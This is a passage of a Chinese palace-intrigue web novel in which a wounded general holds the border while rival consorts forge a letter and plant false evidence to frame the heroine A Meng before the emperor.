顾凛鹤闻言,眸光一闪,眉头微皱:“东南方向地势平坦,是防守弱点,敌军选择此处倒也在情理之中。”他随手拿起桌上的沙盘,指着东南角道,“增派两营精锐驻守此处,务必守住防线!”
帐外忽然传来阵阵喧哗,紧接着便是刺耳的号角声。顾凛鹤面色一变,大步迈出营帐。远处的天际线已被无数火把点亮,缓缓逼近。
“敌军果然来了!”顾凛鹤眸光冷冽,挥手下令,“全军准备迎敌!”
随着他一声令下,士兵们迅速列阵,兵刃出鞘的铿锵声此起彼伏。
顾凛鹤身先士卒,拖着伤痕累累的身体登上城墙,远眺敌军。夜风吹动他的衣袍,也带来了敌军的呐喊声。
“将军,您不能亲自上阵!”副将追上来,满脸焦急。
“北境安危,系于一身,我岂能退缩?”顾凛鹤眼中闪烁着坚定的光芒,“何况,这些将士们,都是跟随我出生入死的兄弟!”
说话间,敌军的冲锋号角已经吹响,无数火把朝城墙逼近。
顾凛鹤拔出佩刀,高高举起:“兄弟们!家国在此,寸土不让!”
“主帅在此,寸土不让!”将士们的呐喊声此起彼伏。
忽然一阵剧痛,顾凛鹤额头冷汗涔涔。他咬紧牙关,死死扶住城墙,不让自己倒下。
副将见状,心急如焚:“将军,您的伤势过重,还是先回营帐吧!”
顾凛鹤摇头,嘴角勾起一抹苦涩的笑:“战场之上,将帅若退,军心必乱。何况……”他顿了顿,眼中闪过一丝决绝,“今夜若不挡住敌军,明日便是城破之时。”
夜色苍茫,杀戮将至。顾凛鹤想起离京前最后一眼看到的阿孟,心中不由一痛。那句轻声的“保重”,此刻竟如梦魇般萦绕在耳畔。
“若今夜不能幸存……”他心中暗道,“此生再无见她之日。”这个念头比伤痛更令他心如刀割。
顾凛鹤抽出长剑,直指敌军。
“弓箭手准备!”他沉喝一声,声音虽因伤痛而略显虚弱,却仍然穿透了整个战场。
---
千里之外的皇宫中,阿孟猛然惊醒,冷汗浸透了寝衣,几乎透不过气来。
梦境中的场景依然清晰可怕——她的兄长孟高杨和顾凛鹤身陷重围,浑身浴血,最终倒在敌军刀下。那鲜血淋漓的画面真实得令人心惊。
“不,不可能……”阿孟喃喃自语,颤抖的手抚上胸口,感受着心脏剧烈的跳动。
“小姐!小姐怎么了?”云珠被惊醒,忙不迭地点燃床头的蜡烛,急切地问道。
烛光在阿孟苍白的脸上跳动,映出她眼中未散的惊恐。她深吸一口气,强自镇定:“无妨,只是做了个噩梦。”
云珠心疼地看着阿孟,取来汗巾为她轻轻擦拭额头的冷汗:“小姐可是梦见了什么不好的事情?”
阿孟闭了闭眼,仍能清晰地看到梦中那血腥的场景,心中隐隐作痛:“我梦见兄长和顾将军……”她顿了顿,强压下心中的恐惧,“都战死了。”
云珠一惊,随即安慰道:“小姐莫要担忧,孟将军和顾将军都是百战之将,定能平安归来。”她握住阿孟的手。
阿孟勉强笑了笑,却掩饰不住眼底的忧虑。她从床上起身,走到窗前,望着远处的夜空。那里群星闪烁,却看不到边境的战火,看不到生死相搏的将士。
“小姐,我有好消息要告诉您。”云珠小声道,目光中带着希冀,“半夏已经通知了贺神医,想必天亮之前就能来帮我们了。”
“什么?”阿孟猛然转身,脸上写满了惊讶,“你让半夏去找贺景行了?”
云珠点头,眼中满是关切:“小姐被困宫中,我们出不去,只能请贺神医想办法。他医术高明,又有皇上曾经赐予的血令,一定能帮到我们。”
阿孟不禁皱眉。她本就不希望牵连太多人,尤其是贺景行。他已为她做了太多,若因此得罪墨司渊,后果不堪设想。
“这件事,本不该麻烦他的。”阿孟轻叹一声,走回床边坐下,手指无意识地绞着衣角,“他与皇上的关系本就微妙,若因我再生嫌隙……”
云珠急切地打断:“小姐,贺神医心甘情愿相助,哪有麻烦一说?何况您如今处境危险,若不尽快离开……”
阿孟抬手示意她不必多言,眼中闪过一丝决意:“罢了,事已至此,也只能如此了。”她转向窗外,眸中映着星光,“我必须尽快赶往边境,无论如何。”
风轻轻拂过窗纱,带来一丝凉意。阿孟望着夜空中的明月,心中暗自祈祷:“兄长,顾将军,坚持住,我很快就来了!”
第101章 长安门困局
朝露宫的厢房里,顾奚慈眸光阴沉,静静凝视着手下之人。那男子身着夜行衣,半跪于地,恭敬禀报:“小姐,贺神医已经离开城外别院,骑着一匹黑马朝着皇宫方向而去,看样子是要入宫。”
顾奚慈眼中闪过一丝冷光,唇角勾起一抹冷笑。“果然!”她猛地一拍桌案,声音尖锐,“我就知道,那个阿孟定然会想尽办法去边疆!表哥出事后,她竟还不死心,竟要请贺神医帮她!”
她肩头轻颤,指尖微抖,一股酸涩从胸腔深处涌上来。表哥为何对那阿孟如此痴迷?她顾奚慈自小陪伴左右,青梅竹马,甘愿为他付出一切,他却只将她当做妹妹。而那阿孟不过是个低贱的医女,凭什么能得到表哥的青睐?
“她做梦!”顾奚慈恨恨咬牙,“她以为贺神医能帮她出宫?我偏不让她如愿!”
她急急整理衣裙,对着铜镜描眉画面,又取出一方香囊别在腰间。“去备车,我要见谢贵妃!”
顾奚慈小步快行,眉头紧锁。现在她心中只有一个念头——绝不能让阿孟离开皇宫,绝不能让她有机会接近表哥!
朝露宫中,谢妤慵懒地靠在锦榻上,面前摆放着几盏精致的宵夜点心。她指尖轻转着一只金丝银镯,眼神迷离而冰冷。
“娘娘,顾奚慈小姐求见?”红豆低声通报。
谢妤眼中闪过一丝讶异,随即微微挑眉:“她这时候来,必有要事。让她进来。”
顾奚慈快步入内,福身行礼:“见过谢贵妃。”
谢妤懒洋洋地打了个哈欠,杏眼微眯:“这么晚来,可是有什么急事?”
“娘娘明鉴,”顾奚慈上前几步,压低声音道,“我刚得到消息,贺景行要入宫了!他与那阿孟素来交好,定是要帮她逃出宫去!”
谢妤眸光一凛,缓缓直起身子:“你确定此事?”
“千真万确!”顾奚慈咬牙切齿,“那阿孟心系边疆,心系我表哥,她若真出了宫去了边疆,必会与我表哥相见!”
谢妤幽幽一笑,眸中闪过一抹狠厉:“你以为皇上会让她离开?那孟贵妃现在可是金丝雀,皇上怎会放她出笼?”
“娘娘有所不知,”顾奚慈凑近几分,“那贺景行可是有皇上赐的血令,持令可入宫见皇上!若他真来了,怕是有办法将阿孟带出宫去!”
谢妤眸光骤冷,纤细的手指紧紧攥住锦帕。她怎能容忍阿孟离开?一旦阿孟离开宫中,那自己肚子里的孩子怎么办!
“你可知他从何处入宫?”谢妤冷静地问道。
顾奚慈眼中闪过一丝得意:“贺景行必经长安门,那是进入皇城的最近路径。”
谢妤指尖轻敲桌案,眸光微转:“红豆,去将索大人唤来。”
不一会儿,一位身着**袍的官员悄然入内。他是朝露宫的常客,也是谢妤豢养多年的棋子。谢妤眼波流转,声音轻柔:“索大人,如今有一事相求。”
索大人恭敬垂首:“娘娘但说无妨。”
“今夜可能有人持血令欲入宫见皇上,此人名为贺景行,乃是一位神医。”谢妤声音似有若无,“但本宫刚得到消息,此人与大理寺查办的一桩谋逆案有关,若让他入宫,恐有不测。”
索大人眼中闪过一丝了然:“娘娘放心,下官明白该如何处置。”
“记住,”谢妤幽幽补充,“切勿明着来,只需拖延时间,至少到明日天明。”
索大人领命而去,顾奚慈心中大石落地,眼中闪烁着兴奋的光芒:“多谢娘娘出手相助!”
谢妤意味深长地笑了笑:“我们是一条船上的人,那阿孟若能出宫,对你我都没有好处。”她轻抚顾奚慈的手背,“你放心回府去吧,此事我自会料理。”
城外的官道上,贺景行骑着黑马疾驰,眸光如炬,满心焦虑。他怀中藏着那枚血令,心中只有一个念头——必须尽快赶到宫中,帮助阿孟。
不料,刚至长安门外,一队官兵突然涌出,拦住去路。
“来者止步!”为首官兵厉声喝道,“宫城**,任何人不得入内!”
贺景行眉头紧
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锁:“在下持有皇上赐予的血令,请通融。”
官兵闻言,眼神微妙地交流了一下:“血令需验明真伪,请随我们去驿馆等候大理寺官员查验。”
贺景行心头一沉,立刻察觉事有蹊跷。他深知血令真假无需大理寺查验,这分明是有人设下阻碍!
“这位官爷,”贺景行声音沉稳,“血令乃皇上亲赐,只需让在下面见皇上,自有分晓。”
“抱歉,”官兵面色冷峻,“近日有传言宫中有刺客,任何人进宫必须严查。请随我们去驿馆等候,明日天明自有定论。”
贺景行眸光转冷,心急如焚。他知道,这是有人刻意为之,目的就是阻止他及时入宫。
“请诸位见谅,”贺景行缓缓从怀中取出一个小瓷瓶,“在下医者,路遇急症病人,不得已才冒昧入宫求见皇上。若诸位不信,可先派人通传一声,自有分晓。”
官兵们互相对视,为首者冷笑一声:“贺神医,奉劝你一句,今晚谁都别想入宫!且在驿馆住下,明日天明再说!”
贺景行眸光一凝,心中已然明了——此事绝非偶然,必有人从中作梗!
他环顾四周,城门紧闭,官兵林立,一时间竟难以突破。
“带他去驿馆!”为首官兵一挥手,两名壮汉上前押解。
贺景行被迫下马,却在转身的刹那,敏锐地捕捉到旁边阴影处的黑衣人。他眸光冷冽,脑海中闪过一个可能——半夏!
他故意踉跄一下,趁机将手中瓷瓶悄然抛向暗影处。半夏身形如鬼魅,一晃接住瓷瓶,随即身影消失在夜色中。
贺景行被官兵簇拥着向驿馆方向走去,他微不可察地转头,余光扫过半夏隐藏的角落,右手五指微微张开又屈起,手势隐晦却意味分明——按兵不动,勿要轻举妄动。
半夏手中紧握着那枚温热的瓷瓶,眼神紧紧追随着贺景行远去的背影。他的身体绷紧如一张满弦的弓,随时准备飞射而出。若非贺景行那一记手势,他早已冲出,不顾一切地解救。
第102章 假信风波
苔蘅殿。
阿孟却已早早醒来,静静地坐在窗前。
身后传来轻微的脚步声,她回头,只见一名陌生小太监端着早膳匆匆走来,眼神闪烁,明显与平日不同。
“贵妃娘娘,早膳已备好。”小太监声音端得极低,在行礼时几不可察地将一枚纸条藏入托盘暗格。
阿孟眸光微动,素手轻拂案几,不动声色地取出那纸条,指尖微凉。她垂首看去,纸条上寥寥数语,却如惊雷炸响在耳畔——“贺神医被困驿馆,恐有不测。半夏尚在城外待命。”
“怎么会……”阿孟心弦剧颤,几乎要将纸条攥碎。贺景行持有皇上亲赐的血令,竟也会被拦截!必然是有人从中作梗。
“小姐!”云珠见她神色不对,连忙上前,警觉地环顾四周。
阿孟将纸条递给云珠看过,随即投入烛火中,眼看它化为灰烬。“贺神医被困,我们看样子暂时走不掉了。”她声音极轻。
“可是小姐,那接下来该怎么办啊?”云珠焦急道,眼中满是忧虑。
阿孟轻轻摇头,眸中闪过一丝决然:“兵来将挡,水来土掩,我们暂时另寻他法。”她凑近云珠耳畔,声音几不可闻,“耐心等待就可以了。”
阿孟转身走向妆台,神色恢复平静。
“云珠,备我今日朝服。”她淡淡道,“今日该去给谢贵妃请安了。”
“小姐!你还要去见她?”云珠惊诧道。
阿孟嘴角扬起一抹冷笑:“欲盖弥彰,不如坦然相对。何况,敌暗我明,我正好借机探探她的口风。”
一盏茶的功夫,阿孟已梳妆完毕。一袭淡青色宫装,素雅中透着几分高贵,眉目如画,却隐藏着无限心思。
临行前,她从药箱中取出几瓶药粉,小心地藏入袖中。若无意外,不得不做万全准备。
朝露宫中,谢妤正懒洋洋地靠在锦榻上,**着指间的金丝银镯。听闻阿孟前来请安,眸中闪过一丝讶异,随即化为冷笑。
“孟贵妃,你来了。”谢妤嗓音娇软。
阿孟微微行礼,姿态温婉:“贵妃昨日身子不适,臣妾特来请安,看看可有好转。”
“呵,孟贵妃倒是尽职尽责。”谢妤轻嗤一声,“只是不知你的心思是真在本宫的病情上,还是飘到了那边关呢?”
阿孟神色不变,轻柔地取出手帕:“贵妃说笑了,臣妾身为妃嫔,自当以皇上和皇室为重。边关之事,自有朝廷处置,臣妾不过是担忧将士安危罢了。”
谢妤眸中掠过一丝狡黠,唇角勾起一抹冷笑:“是吗?你最近可有良方,能让本宫这胎儿更稳些?”
阿孟眸光平静:“贵妃身子金贵,臣妾不敢妄言。不过有一句老话,胎儿与母体相连,心绪安宁,胎儿自然稳当。若是心怀恶念,再好的药方也是枉然。”
谢妤脸色一沉,眼中闪过一丝怒意:“大胆!阿孟!你此言何意?”
阿孟微微一笑,眸中却冷若寒冰:“臣妾只是就医而言,并无他意。若贵妃心中有鬼,那可就不关臣妾的事了。”
“你!”谢妤气得面色铁青,几乎要从榻上跃起,却又强自按捺,“好一个伶牙俐齿的孟贵妃,本宫倒要看看,你这伶牙俐齿还能保你几日!”
“贵妃若无别的吩咐,臣妾便先行告退了。”阿孟福身欲走,眼角余光却捕捉到殿外一抹熟悉的身影——顾奚慈竟然在此时踏入朝露宫。
顾奚慈一袭淡粉色广袖长裙,发髻高挽。见到阿孟,她先是一愣,随即眼中闪过一丝算计,嘴角勾起一抹若有似无的笑意。
“孟贵妃也在啊,真是巧了。”顾奚慈上前行礼,语气中却带着明显的嘲讽,“我还以为贵妃日夜牵挂着边疆将士,无暇顾及宫中琐事呢。”
阿孟微微颔首,不卑不亢:“顾小姐言重了,边疆将士浴血奋战,乃是为国尽忠,臣妾身为贵妃,自当时刻牵挂。”
顾奚慈眼中闪过
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一丝恶意,从袖中取出一封信笺,“那贵妃可知,我表哥近日遣人送来了一封家书?”
阿孟闻言,心头一紧,有种不祥的预感涌上心头。顾凛鹤若真有信,为何不直接送到墨司渊那里,反而辗转至顾奚慈手中?
“既是家书,顾小姐何必拿来炫耀?”阿孟淡淡道,语气中不露丝毫异样。
谢妤适时插话,眼中闪烁着饶有兴味的光芒:“顾奚慈,既然是你表哥的信,想必是有要事相告。不若就在本宫这里打开看看,也好让孟贵妃解解相思之苦。”
顾奚慈听闻此言,嘴角的笑意更深:“多谢贵妃娘娘体恤。”说罢,她缓缓展开信笺,故作姿态地清了清嗓子,开始诵读。
“贤妹收信安好。边关战事吃紧,为兄身负重伤,恐难再见。然有一事,还望贤妹代为转告。”顾奚慈故意停顿,眼睛紧盯着阿孟的脸色。
阿孟心头警铃大作,从顾奚慈那刻意的语气中已能猜到几分。然而她面上丝毫不显,只是静静聆听。
顾奚慈见阿孟神色如常,心中不禁恼怒,继续念道:“近日闻宫中有人欲借机出宫,前往边疆,言说是为救治将士。然为兄与此人素无瓜葛,从未有过半分情谊,实不愿她为我冒险犯难。望她安分守己,莫要痴心妄想,更莫要贸然前来边疆,徒增笑柄。”
阿孟垂下眼帘,掩饰眼中一闪而过的痛楚。她心中明白,顾凛鹤绝非如此薄情寡义之人,此信必有蹊跷。然而在谢妤和顾奚慈的注视下,她不得不强压下心中的疑虑,装作受到打击的模样。
“多谢顾小姐告知。”阿孟声音平静,不卑不亢,“顾将军乃是国之栋梁,边关安危系于一身。臣妾出宫本为救治瘟疫,从未有过半分非分之想,顾小姐多虑了。”
顾奚慈闻言,脸上的得意之色微微一滞。她本以为这封精心伪造的信件会让阿孟痛不欲生,可眼前这女子竟如此淡然处之,毫无杀伤力。
第103章 恶意构陷
谢妤随即冷笑道:“孟贵妃倒是看得开。只是这信中之事若传到皇上耳中,怕是又要惹得龙颜大怒了。”
阿孟微微一笑,眼中闪过一丝凛冽:“贵妃此言差矣。臣妾心系边疆将士,乃是为国分忧,何来非分之想?若有人故意歪曲臣妾心意,那才是对皇权的不敬。”
谢妤被这番话噎住,一时竟找不到反驳的言语。她冷哼一声,转头看向顾奚慈,示意她继续。
顾奚慈狠狠瞪了阿孟一眼,又从袖中取出一张纸条:“表哥信中还有一段私话,原本不欲示人,但既然孟贵妃这般坚持,不妨让你**这条心。”
她缓缓展开纸条,声音中带着几分得意:“阿孟一介医女,岂能与我顾家门第相配?当日不过是念在救命之恩,略施恩惠罢了。她若真以为我对她有情,实在是痴心妄想。望她安分守己,莫要再来打扰我的清静。”
这番话虽然刻意做旧,笔迹也模仿得惟妙惟肖,但阿孟早已看破。从前在边北营地,她曾无数次见过顾凛鹤的笔迹,那刚毅有力的字体绝非这般柔弱。更何况,顾凛鹤言谈举止向来光明磊落,绝不会背地里说这种话。
然而,此时此地,她不能揭穿,只能装作受伤的样子,轻轻叹了口气:“原来如此。多谢顾小姐告知,臣妾受教了。”
说罢,她施施然起身,准备告退。顾奚慈却不依不饶,拦住她的去路:“孟贵妃,你可明白了?我表哥根本就不喜欢你!你别再痴心妄想了!”
阿孟抬眸,目光如水,平静而深邃:“顾小姐,感情之事,旁人难以置喙。信之真假,臣妾自有判断。”
顾奚慈闻言大怒,正欲发作,却见阿孟已绕过她,缓步走向殿外。她不甘心地追上几步:“你!你这个不知廉耻的**!表哥都已经明言相拒了,你还不死心吗?”
阿孟脚步微顿,回首淡淡一笑:“顾小姐慎言。臣妾乃是皇上的贵妃,岂能对他人心生妄念?顾小姐莫要血口喷人。”
这句话如同一盆冷水,浇灭了顾奚慈的怒火。她愣在原地,脸色青一阵白一阵,不知该如何应对。
谢妤见状,冷笑一声:“孟贵妃好一番巧言令色。不过,皇上那里,本宫自会代为转达。你那点小心思,以为真能瞒得过天下人吗?”
阿孟并不理会谢妤的威胁,只是微微行礼:“臣妾告退。”
待阿孟离去后,朝露宫内,谢妤与顾奚慈对视一眼,眼中都闪过一丝阴冷。谢妤冷哼道:“这**倒是沉得住气,看来还需加把火才行。我还以为顾将军那封信能让她彻底死心,没想到竟半点不见动摇。”
顾奚慈咬牙切齿,“她根本就是装的!我明明看到她眼中有一瞬间的痛楚。这**分明是死鸭子嘴硬!”她攥紧了手中的信纸,精心仿制的笔迹被她揉得皱巴巴的,“表哥若知道我假借他的名义写了这样的信,定会怪罪我。可我这也是为了他好啊!”
“心疼你家表哥?可惜你家表哥只心疼那个替死鸟。”谢妤不屑地瞥了她一眼,懒洋洋地靠回软塌,纤纤玉手轻抚微隆的小腹,“那阿孟不知用了什么妖法,竟能让这宫里宫外的男人都为她神魂颠倒。”
顾奚慈面露嫉色,掩唇低语:“还不是仗着那张脸和那副医术。若非表哥当年受伤,怎会对她另眼相看?”她顿了顿,眼中闪过一丝狡黠,“不过娘娘放心,那**别想轻易出宫,我已经让人好好看着贺景行了。”
“区区一个贺景行,倒也不足为惧。”谢妤冷笑一声,眼中闪过一丝阴毒,“只是阿孟那边,恐怕不会这么安分。她若真是孟方意,那心思怕是比常人更深沉。”
“娘娘有何良策?”顾奚慈凑近几分,眼中满是期待。
谢妤勾起唇角,轻声道:“既然她这般关心边疆,不如让皇上也知道知道她的忠心。”她顿了顿,眸中闪过一丝精光,
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“宫中已有传言,说阿孟与顾凛鹤关系非同一般,只是碍于身份不得不隐忍。若是再添些佐证,让皇上知道她这般心系边疆,竟是为了私奔顾家……”
顾奚慈闻言一惊,脱口道:“这岂不是在说表哥与她……”
谢妤打断她:“你当真以为这世间没有丑闻能沾染顾家吗?顾凛鹤再是冰清玉洁,也抵不过流言蜚语。何况……”她意味深长地看了顾奚慈一眼,“谁知道事实究竟如何呢?”
顾奚慈皱眉,有那么一瞬间,她竟心生犹豫。表哥自幼便有家国大义在心,若因为她的私心毁了顾家的清誉……
可想到阿孟与表哥之间可能的情愫,她的心又如刀割一般疼痛。
“娘娘所言极是。”她咬了咬唇,终究还是点了头,“只是这谣言如何传播,才能不露痕迹?”
谢妤嘴角勾起一抹意味深长的笑:“这宫中耳目众多,若是有人看到阿孟私藏顾凛鹤的信物,再加上她日日为了出宫四处奔走,你说,皇上会怎么想?”
“可她身边戒备森严,如何能……”顾奚慈话说到一半,忽然醒悟过来,“娘娘是说……”
谢妤轻轻点头,眼中闪过一丝寒光:“总有方法能让那些东西出现在她的房中。届时,便是铁证如山,她百口莫辩。”
顾奚慈眼中燃起希望的光芒:“娘娘妙计!若能如此,那**定会被皇上厌弃至极,再也没有翻身之日!”
谢妤目光幽深,望向殿外阿孟离去的方向:“这一次,我要让她再无挣扎的余地,彻底被钉死在这深宫之中,生不如死!”
与此同时,苔蘅殿内,阿孟静**在宫殿内,眼中满是思虑。云珠小心翼翼地端着茶盏走近:“小姐,喝些茶吧。”
“贺神医现在如何了?”阿孟没有接过茶盏,而是轻声问道。
云珠摇摇头:“半夏的消息还未传回,只知道贺神医被扣在驿馆,不让入宫。”
第104章 阿孟破局
阿孟眉头紧蹙,手指不自觉地摩挲着袖口:“谢妤这是铁了心要困住我了。”她站起身,在房内来回踱步,“边疆战况如此紧急,兄长和顾将军恐怕凶多吉少,我不能再等了!”
“小姐打算如何行事?”云珠紧张地问道。
阿孟目光坚定:“既然正门走不通,那就走旁门。墨司渊想困住我,便是不想我去边疆。若有人告诉他,我与顾凛鹤有染……”
“小姐!”云珠惊讶地睁大眼睛,“您是说谢妤她们会……”
阿孟冷笑一声,眼中闪过一丝凌厉,“那封伪造的信不过是开始。谢妤和顾奚慈不会就此罢休,她们一定还会有更毒的招数。”
阿孟走到药箱前,取出几瓶药粉,仔细检视:“云珠,我已经决定了,不能再等了。”
“可是宫门紧闭,又有禁卫把守,我们如何出去?”云珠忧心忡忡地问道。
阿孟唇角勾起一抹决绝的笑:“他们锁的是宫门,却锁不住人心。苦肉计虽简单,却最为有效。”
云珠闻言色变:“小姐,您不会是要——”
“不入虎穴,焉得虎子。”阿孟轻声道,目光落在药箱中那瓶鲜红的药粉上,“若只能在宫中与深渊中选择一条路,我宁愿赌一把。”
“小姐!”云珠急切地上前,却见阿孟已经取出那瓶药粉,小心地倒出一点在掌心。
“别担心,我心里有数。”阿孟安抚道,眼中闪过一丝坚定,“去把康福叫来,我有事要吩咐他。”
不久,康福便匆匆赶来,面色凝重,似乎察觉到了阿孟的心事。“娘娘,您找奴才?”
阿孟微微一笑,“康福,我想让你去安排人打听一下顾凛鹤的副将,顺便了解一下边疆的疫情情况,还有贺景行现在的情况。”
康福一愣,随即恭敬地应道:“是,奴才这就去办。”他心中明白,阿孟此举必有深意,便不敢怠慢,迅速离去。
与此同时,谢妤已然来到御书房,她不顾宫人阻拦,踉踉跄跄地闯入,装出一副娇弱可怜的模样。
“皇上!皇上!您可要为臣妾做主啊!”她故作困顿地捂住腹部,眼角渗出几滴晶莹的泪珠。
墨司渊正阅览奏折,听闻谢妤的哭声,眉头微皱。
“妤儿,何事如此惊慌?”墨司渊放下手中的奏章,语气不咸不淡。
谢妤见状,她轻轻抚摸着自己尚未显怀的腹部,眉眼间尽是惶恐:“皇上,听说那孟贵妃要出宫去,前往边疆。臣妾担心她若是说走就走,臣妾和肚子里的龙嗣,该如何是好啊?”
“怎么会呢?我不是已经安排人,将她的苔蘅殿看守起来了。”墨司渊坐在龙椅上,眉头微皱,目光如刀,直直地射向谢妤。
谢妤心中一紧,她轻盈地绕过龙案,来到墨司渊身侧,伸出纤纤素手,轻轻搭在他的肩膀上。
“皇上英明。”谢妤低声说道,“只是臣妾今日听闻,边疆那边有人特意送信给了孟贵妃,想来是有关顾将军的消息。”她的声音越发轻柔,如同耳畔低语,“你也知道,那孟贵妃自入宫以来,心心念念的都是边疆之事,尤其是顾凛鹤。”
果然,墨司渊的眼中闪过一丝锐利的光芒,手指也不自觉地在龙案上轻轻叩击,发出低沉而规律的声响。
“你从何处得知此事?”墨司渊沉声问道,语气已不再像方才那般平静。
谢妤见状,心中暗喜,她故作犹豫,轻咬下唇:“是……是顾奚慈告诉臣妾的。她说她表哥派人送来了家书,却不知为何,那信使竟先去了苔蘅殿,像是要见孟贵妃一般。”
墨司渊的眼神陡然变得阴鸷起来。谢妤轻轻跪坐在墨司渊身侧,娇弱地依偎着他,柔声道:“皇上,臣妾不是有意要挑拨什么,只是……只是担心孟贵妃若是真的离开皇宫,谁来照顾臣妾的身子?臣妾这一胎来之不易,这可是您的骨肉啊。”
说到这里,谢妤的眼眶微微泛红。
墨司渊面色阴沉,目光如炬,透出一股摄人的寒意。他伸手轻抚过谢妤
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的面颊,动作看似温柔,眼神却冷得可怕:“妤儿不必担忧,朕不会让任何人伤害你和龙嗣。至于孟贵妃……”他顿了顿,“她若真敢有妄念,朕自会让她知道后果。”
谢妤听闻此言,心中大喜,脸上却故作忧虑:“皇上,自从那顾将军在边疆伤势颇重,孟贵妃便坐立不安,给臣妾看病也极其敷衍,你说……她与顾将军之间,会不会……”
“够了!”墨司渊猛地拍案而起,眼中寒光逼人。
谢妤见墨司渊如此震怒,心中畅快,面上却做出一副担忧的模样:“皇上息怒。”
墨司渊冷冷地看着谢妤,眼中的怒火渐渐平息,“妤儿不必自责,你告诉朕这些,是为朕分忧。”
谢妤连忙顺势依偎在墨司渊身侧,柔声道:“皇上明鉴,臣妾只求皇上多顾惜自己的龙体,莫要为了这些事情动怒伤身。”
墨司渊微微点头,眼神却依旧冷峻。
她轻轻握住墨司渊的手,将脸贴在他的手背上,感受到他手掌的冰凉:“皇上,臣妾先回宫去了,您也早些休息。”
墨司渊淡淡地“嗯”了一声,目送谢妤离去,眼神深沉如渊。谢妤步履轻盈地走出御书房。
大殿之内顿时只剩下墨司渊一人,龙案上的奏章依旧堆积如山,却再也勾不起他丝毫兴致。
“顾凛鹤……”墨司渊喃喃重复着这个名字,眼底寒光乍现,“朕费尽心思将她留在身边,她却一心要为那顾凛鹤出宫冒险?”
思及此,墨司渊猛然起身。
“周海!”他冷声唤道。
殿外候着的周海连忙小步疾走入内,恭敬地垂首侍立:“奴才在。”
“传朕旨意,摆驾前往苔蘅殿。”墨司渊声音冰冷,双眸间闪烁着难以揣度的亮光,“朕要亲自去看看,孟贵妃到底在干什么。”
周海目光微闪,敏锐地捕捉到了皇帝语气中的异样。他立即会意,恭声应道:“是,皇上。奴才这就去安排。”说罢,退后几步,快步离去。
第105章 伪书惑君
苔蘅殿内,阿孟静**在窗前,手执医书,专注阅读着关于边疆瘟疫的记载。
“小姐!小姐!”云珠突然慌慌张张地冲进内室,脸上写满了焦急,“皇上来了!皇上突然驾到了!”
阿孟闻言,手中的书页微微一顿,眸光闪动。她并未慌乱,只是缓缓放下书卷,整理了一下衣袖。“他来得倒是快。”她轻声道。
“小姐,您快收起这些医书吧!”云珠急切地上前,想要将桌上散落的医书收起,“皇上若是看到您又在研究边疆瘟疫的事,怕是又要动怒了。”
阿孟却按住了云珠的手,淡然一笑:“不必了。这些本就是我在看的,没什么好藏的。”她站起身,整理了一下衣裙,神色平静如水。“他既然来了,我们便去迎接。”
云珠望着阿孟的背影,心中既是敬佩又是担忧。
刚踏出内室,便听见殿外传来一阵急促的脚步声。墨司渊一身龙袍,面色阴沉,大步迈入苔蘅殿。周海紧随其后,眼中闪过一丝幸灾乐祸的样子。
“臣妾参见皇上。”阿孟上前行礼,姿态优雅从容,丝毫不见慌乱。
墨司渊冷眼看着眼前的女子,心中怒火更盛。她竟还能如此淡定自若!他大步上前,目光如刀般扫过案几上的医书,眼中寒光乍现。
“朕听说,顾将军写了一封信给你,信呢?”墨司渊声音低沉,带着一丝危险的意味。
阿孟迎上那道逼人的目光,心中冰冷澄澈。她早已不是当年那个为墨司渊一个眼神就心跳加速的傻姑娘了。孟家血债,亲人之殇,如同烙铁般铭刻在她心头,让她在任何风暴面前都能保持清醒。
“回皇上,臣妾并未收到顾将军的任何书信。”阿孟声音平稳如水,不卑不亢,“不知皇上从何处听来这等谣言?”
墨司渊冷笑一声,大步逼近,直到两人之间只剩一臂之距。他俯身,几乎贴着阿孟的面颊,呼吸间带着一丝冷冽的龙涎香:“是吗?”
阿孟微微后退半步,不动声色地拉开距离。
“皇上若不信,大可搜查苔蘅殿。”阿孟目光坦然,神情平和,没有一丝慌乱与闪躲,“臣妾绝无隐瞒之意。倒是不知是谁在皇上面前妖言惑众,挑拨离间?”
墨司渊眸中寒光毕露,俯视着面前这个曾经他认为不堪一击的女子。三年前,她还是那个为他一个眼神就会心跳加速的小傻子,可如今,她竟能在他的逼问下如此泰然自若。这种冷静让他心中莫名升起一股怒火,她为何不慌不忙?难道她真的无所畏惧?还是说,她已经将一切都算计好了?
“搜!”墨司渊一声令下,刹那间,数名禁卫如狼似虎地冲进苔蘅殿,开始翻箱倒柜地搜查。
阿孟只是静静站在一旁,冷眼旁观着这一切,她并不慌张。
云珠焦急地看着殿内被翻得一片狼藉,却又不敢上前阻止,只能紧张地绞着衣角,时不时偷瞄阿孟一眼,生怕小姐受到惊吓。
“皇上,我们在床榻下发现了这个!”一名禁卫忽然高声禀报,手中高举着一个精致的锦盒。
墨司渊眼中闪过一丝阴冷的笑意,大步上前接过锦盒。阿孟眉头微蹙,她并不记得自己的床榻下有什么锦盒。一种不祥的预感在她心头升起。
“孟贵妃,这是何物?”墨司渊冷笑着打开锦盒,里面赫然躺着一封信笺和一块玉佩。那信笺上的字迹娟秀工整,而那玉佩,则雕刻着“顾”字。
阿孟瞳孔微缩,心头一片冰凉。她一眼便能辨认出,那绝非顾凛鹤的笔迹,更不是他的随身玉佩。顾凛鹤的字如其人,刚毅有力,绝非这般柔弱腻滑。至于玉佩,她曾在边境多次见过顾凛鹤腰间那枚青白色玉牌,上面只刻着“凛”字,从不离身。这显然是有人刻意栽赃!
“臣妾不知此物为何会在臣妾床下。”阿孟声音平静,眼中却闪过一丝锐利的光芒,“这既非臣妾所有,也非顾将军之物。”
“哦?”墨司渊冷冷一笑,展开信笺,缓缓念道:“阿孟,边关苦寒,战事危急,思君情切,难
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以言表。每当夜深人静,我便忆起当年在北境营帐中,你为我疗伤时的点点滴滴。若非边疆战事所迫,我定当亲赴京城,将你接至身旁。待到战事平息,我必求见天子,迎你入顾门为妇。望你保重,莫要忧伤,我们很快就能重逢。”
墨司渊读完,殿内一片死寂。他眼中的寒意几乎凝结成实质,盯着阿孟的目光像是要将她钉在原地。
阿孟心中冰凉,这栽赃之术如此拙劣,却又无比致命。她知道,无论她如何辩解,墨司渊都不会相信的。在这深宫之中,真相从来不重要,重要的只是皇帝想要相信什么。
“皇上,”阿孟深吸一口气,直视墨司渊的眼睛,“这信笺与玉佩,皆是伪造之物。顾将军的字迹与此截然不同,他的玉佩也从不离身,更非这般模样。臣妾敢以性命担保,此物必是有人刻意栽赃!”
“栽赃?”墨司渊冷笑,目光如刀,“那孟贵妃可知,是谁如此费尽心机要陷害你?又是为何要在朕面前挑拨离间?”
